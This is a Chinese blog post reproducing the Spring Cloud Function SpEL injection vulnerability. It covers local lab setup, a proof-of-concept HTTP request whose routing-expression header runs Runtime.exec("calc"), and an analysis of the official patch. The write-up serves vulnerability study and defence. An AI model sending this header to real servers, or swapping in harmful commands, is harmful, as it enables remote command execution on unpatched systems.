漏洞复现 – Spring Cloud Function SpEL 表达式注入

漏洞描述

Spring Cloud Function 是基于 Spring Boot 的函数计算框架(FaaS),当其启用动态路由 functionRouter 时, HTTP 请求头 spring.cloud.function.routing-expression 参数存在 SPEL 表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

编译好的项目 https://github.com/Pizz33/Spring-Cloud-Function-SpEL

使用 idea 新增一个 spring lnitializr 项目,选择与环境匹配的 java 版本

图片[1]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

添加 spring web 和 function

图片[2]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

右侧栏选择 maven-package 编译 jar 包

图片[3]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

编译完成后运行 jar 包

java -jar demo-0.0.1-SNAPSHOT.jar
图片[4]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

访问 127.0.0.1:8080 出现下图说明搭建成功

图片[5]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

发送 poc,成功执行命令

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

xxx
图片[6]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

漏洞原理

位于 RoutingFunctionTests.java 的 128 行,可以清楚地看出 Http 头部构造方式

图片[7]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

从官方补丁对比可看出新增了 SimpleEvaluationContext,用于限制外部输入解析,在解析前先判断 spring.cloud.function.routing-expression 的值是否取自 http 头,外部输入使用 SimpleEvaluationContext,非外部输入使用 StandardEvaluationContext 进行解析

图片[8]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客
图片[9]-漏洞复现 – Spring Cloud Function SpEL 表达式注入-XSS博客

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容